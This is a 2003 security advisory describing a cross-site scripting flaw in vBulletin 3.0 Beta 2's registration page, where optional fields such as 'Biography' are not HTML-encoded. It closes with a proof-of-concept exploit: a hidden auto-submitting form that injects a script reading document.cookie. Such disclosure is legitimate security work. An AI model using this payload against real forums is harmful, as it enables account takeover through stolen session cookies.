VBulletin New Member XSS Vulnerability

["Ferruh Mavituna" <ferruh () mavituna com>]

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VBulletin New Member XSS Vulnerability
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Any kind of XSS attacks possibility. With this vuln. an attacker could
access other users/admins accounts.
Online URL : http://ferruh.mavituna.com/article.asp?256

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About VBulletin;
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PHP Based Popular Forum Application

Vendor & Demo;
www.vbulletin.com

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Description;
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In new member page (register.php), If you skip a required field system
redirect you same form and fill fields automaticly that you enter before for
a better form. In standard fields Vbulletin successfully handle script
injections. But in optional fields like "Interests-Hobbies", "Biography",
"Occupation" etc...

So you can execute any JS with this fields.

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Vulnerable;
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vBulletin 3.0 Beta 2

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Non Vulnerable;
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vBulletin 2.3.0
vBulletin 2.2.8 ...


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Vendor Status;
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No answer at the moment.

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History
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Discovered : 15.07.2003
Vendor Informed : 29.07.2003
Publihed : 06.08.2003

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Solution;
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HTML Encoding like other inputs is OK.

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Exploit Code;
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[form action="http://[victim]/register.php?do=register"; method="post"
style="display:none"]
 [input type="hidden" name="s" value="" /]
 [input type="hidden" name="regtype" value="1" /]
 [input type="text" class="bginput" name="field1" value="" size="25"
maxlength="250" /]
 [input type="hidden" name="url" value="index.php" /]
 [input type="hidden" name="do" value="addmember" /]
[/form]
[script]
 //Code that will be executed
 var xss = "\"][script]alert(document"+".cookie)[\/script]";
 document.forms[0].field1.value=xss;
 document.forms[0].submit();
[/script]

*Replace ([],<>)

Ferruh Mavituna
ferruh () mavituna com
http://ferruh.mavituna.com
Web Application Security Specialist